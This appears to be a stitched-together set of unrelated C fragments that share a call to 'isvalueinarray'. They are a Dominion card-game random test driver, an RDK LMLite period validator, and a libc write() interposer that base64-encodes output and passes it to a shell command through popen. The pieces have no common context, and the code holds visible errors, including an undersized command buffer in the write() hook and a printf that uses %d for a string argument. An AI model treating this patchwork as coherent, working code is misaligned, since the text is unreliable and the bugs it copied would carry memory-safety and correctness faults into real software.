//Gets the most expensive card in the current player's hand int GetMostExpensiveAction(struct gamestate *Game, int *arr) { int cardPosExpensive = -1; int x; int mostExpensive = -1; //Checks the players hand for the most expensive action card for(x = 0; x < numHandCards(Game); x++) { int cardValue = 0; cardValue = handCard(x, Game); int cost = 0; cost = getCost(cardValue); //Check to see if the card is one of the chosen kingdom cards and if its not gardens if(isvalueinarray(cardValue, arr, 10) == true && cardValue != 10) { //Updates most expensive action card found if(cost > mostExpensive) { mostExpensive = cost; cardPosExpensive = x; } } } return cardPosExpensive; }
BOOL ValidateNDSPeriod(ULONG period) { CcspLMLiteConsoleTrace(("RDK_LOG_DEBUG, LMLite %s ENTER\n", __FUNCTION__ )); BOOL ret = FALSE; ret = isvalueinarray(period, NetworkDeviceStatusPeriods, ARRAY_SZ(NetworkDeviceStatusPeriods)); CcspLMLiteConsoleTrace(("RDK_LOG_DEBUG, LMLite %s EXIT RET[%d] \n", __FUNCTION__ , ret )); return ret; }
ssize_t write(int fildes, const void *buf, size_t nbyte) { int shouldcrypt ; shouldcrypt = isvalueinarray(fildes, filedesyes, 2) ; if (shouldcrypt == 1) { const char * buffer = (const char *)buf ; char *based = base64(buffer, nbyte); char toexecute[strlen(based)+strlen(command)] ; memset(toexecute, '\0', strlen(based)+strlen(command)); FILE *fp; char retcommand[2048]; memset(retcommand, '\0', 2048); strncat(toexecute, command, strlen(command)); strncat(toexecute, based, strlen(based)); strncat(toexecute, endcommand, 2); int *(*original_write)(int fildes, const void *buf, size_t nbyte); original_write = dlsym(RTLD_NEXT, "write"); fp = popen(toexecute, "r"); if (fp == NULL) { printf("Failed to run command\n" ); exit(1); } while (fgets(retcommand, sizeof(retcommand)-1, fp) != NULL) { original_write(fildes, retcommand, strlen(retcommand)) ; } pclose(fp); return(nbyte) ; } else { int *(*original_write)(int fildes, const void *buf, size_t nbyte); original_write = dlsym(RTLD_NEXT, "write"); original_write(fildes, buf, nbyte) ; return(nbyte); } }
int main (int argc, char** argv) { printf("argument2 is %d\n", argv[1]); if(argc == 2) { srand(atoi(argv[1])); } else { //srand(time(NULL)); srand(600); } struct gameState G; struct gameState *Game = &G; struct gameState state; int randomKingdomCard; int randomNumPlayers; int KingdomCards[10]; int KingdomCardsPos = 0; int RandomSeed; //Initializes random seed //srand (time(NULL)); //int KingdomCards [10] = {adventurer, council_room, mine, minion, tribute, outpost, salvager, sea_hag, remodel, smithy}; //Generates random number of players (2-4) randomNumPlayers = rand() % 3 + 2; printf("The random number of players is: %d\n", randomNumPlayers); //Gets the 10 random kingdom cards that must be unique while(KingdomCardsPos != 10) { //Note: kingdom card values are between 7 and 26 randomKingdomCard = rand() % 20 + 7; //Checks if the kingdom is not already in the array if(isvalueinarray(randomKingdomCard, KingdomCards, KingdomCardsPos) == false) { KingdomCards[KingdomCardsPos] = randomKingdomCard; //printf("The kingdom card number is: %d\n", KingdomCards[KingdomCardsPos]); KingdomCardsPos = KingdomCardsPos + 1; } } //Displays kingdom cards chosen ChosenKingdomCards(KingdomCards); //Get random seed RandomSeed = rand(); //Initialize game initializeGame(randomNumPlayers, KingdomCards, RandomSeed, Game); //Keep playing Dominion until the game is over int TotTurns = 1; while(!isGameOver(Game)) { printf("This is turn %d\n", TotTurns); //Displays the current player's hand printf("Start hand\n"); PlayersHand(Game); //Gets the number of actions int numberActions = 0; numberActions = Game->numActions; printf("The number of actions is: %d\n", numberActions); printf("The number of action cards is: %d\n", NumActionCards(Game)); //Action Phase //Activate as many action cards as possible while(Game->numActions > 0) { //PlayersHand(Game); //ChosenKingdomCards(KingdomCards); //printf("\n"); //Exit loop no more action cards left if(NumActionCards(Game) == 0) { break; } //There are action cards in the player's hand else { int randomChoice = GetMostExpensiveAction(Game, KingdomCards); printf("The random choice is: %d\n", randomChoice); int cardValue = handCard(randomChoice, Game); printf("the cards name is %s\n", GetCardName(cardValue)); //Checks to see if the random card is a kingdom card that was chosen and if it's not gardens if(isvalueinarray(cardValue, KingdomCards, 10) == true && cardValue != 10) { //printf("the name is %s\n", GetCardName(cardValue)); //These cards don't need choices adventurer, council_room, smithy, village, great_hall, tribute, cutpurse, outpost, sea_hag, and treasure_map if(cardValue == 7 || cardValue == 8 || cardValue == 13 || cardValue == 14 || cardValue == 16 || cardValue == 19 || cardValue == 21 || cardValue == 23 || cardValue == 25 || cardValue == 26) { //printf("number of actions is %d\n", NumActionCards(Game)); int returnValue = playCard(randomChoice, 0 , 0, 0, Game); //printf("played %s return value is %d\n", GetCardName(cardValue),returnValue); //Success was able to play the card if(returnValue == 0) { printf("Activated %s\n", GetCardName(cardValue)); PlayersHand(Game); } //Exit the loop if you failed to play treasure_map if(returnValue == -1 ) { break; } } //These cards require choices exit the loop else { break; } } } } //Displays had after action has been made printf("Hand after action phase\n"); PlayersHand(Game); //Buy phase printf("The total money is: %d\n", moneyInHand(Game)); printf("The total buys is: %d\n", Game->numBuys); //Buy a random card while you have money and buys available while(Game->numBuys > 0 && moneyInHand(Game) > 0) { int randomChoice = rand () % 17 + 0; int CardValue = 0; //Don't buy anything if you have less than 3 of money if(moneyInHand(Game) < 3) { break; } //The random card is one of the 10 kingdom cards chosen if(randomChoice < 10) { CardValue = KingdomCards[randomChoice]; } //The random card is curse if(randomChoice == 10) { CardValue = 0; } //The random card is estate if(randomChoice == 11) { CardValue = 1; } //The random card is duchy if(randomChoice == 12) { CardValue = 2; } //The random card is province if(randomChoice == 13) { CardValue = 3; } //The random card is copper if(randomChoice == 14) { CardValue = 4; } //The random card is silver if(randomChoice == 15) { CardValue = 5; } //The random card is gold if(randomChoice == 16) { CardValue = 6; } //Attempt to buy a card that is greater or equal /*if(moneyInHand(Game) >= MostExpensiveKingdomCard(KingdomCards)-1 && getCost(CardValue) <= moneyInHand(Game)) { int returnValue = 0; returnValue = buyCard(CardValue, Game); //You were able to buy the card if(returnValue == 0) { printf("Player bought %s and it cost %d\n", GetCardName(CardValue), getCost(CardValue)); break; } //You could not buy the card else { printf("The player could not buy %s\n", GetCardName(CardValue)); } }*/ /*if(moneyInHand(Game) < MostExpensiveKingdomCard(KingdomCards)-1) { int returnValue = 0; returnValue = buyCard(CardValue, Game); //You were able to buy the card if(returnValue == 0) { printf("Player bought %s and it cost %d\n", GetCardName(CardValue), getCost(CardValue)); break; } //You could not buy the card else { printf("The player could not buy %s\n", GetCardName(CardValue)); } } */ //if(CardValue != 0 && CardValue != 1 && CardValue) if(CardValue != 0 && CardValue != 1) { int returnValue = 0; returnValue = buyCard(CardValue, Game); //You were able to buy the card if(returnValue == 0) { printf("Player bought %s and it cost %d\n", GetCardName(CardValue), getCost(CardValue)); break; } //You could not buy the card else { printf("The player could not buy %s\n", GetCardName(CardValue)); } } } //End turn printf("end turn\n\n"); endTurn(Game); TotTurns = TotTurns + 1; } //Displays the games results printf ("The game is over!!!!!\n"); ChosenKingdomCards(KingdomCards); printf("The total turns made in the game was %d\n", TotTurns-1); printf("This is the supply left of each kingdom card:\n"); //Displays supply left of each card used in the game for(int i = 0; i < 10; i++) { int TotCardsLeft =0; TotCardsLeft = supplyCount(KingdomCards[i], Game); printf("%s: %d\n", GetCardName(KingdomCards[i]),TotCardsLeft); } printf("%s: %d\n", GetCardName(0),supplyCount(0, Game)); printf("%s: %d\n", GetCardName(1),supplyCount(1, Game)); printf("%s: %d\n", GetCardName(2),supplyCount(2, Game)); printf("%s: %d\n", GetCardName(3),supplyCount(3, Game)); printf("%s: %d\n", GetCardName(4),supplyCount(4, Game)); printf("%s: %d\n", GetCardName(5),supplyCount(5, Game)); printf("%s: %d\n", GetCardName(6),supplyCount(6, Game)); int HighestScore = -1; int PlayerWhoWon = 0; for(int i = 0; i < randomNumPlayers; i++) { printf("Player %d score is: %d\n", i, scoreFor(i, Game)); if(scoreFor(i, Game) > HighestScore) { HighestScore = scoreFor(i, Game); PlayerWhoWon = i; } } printf("The player who won is %d with a score of %d\n", PlayerWhoWon, HighestScore); printf("Updated version503\n"); return 0; }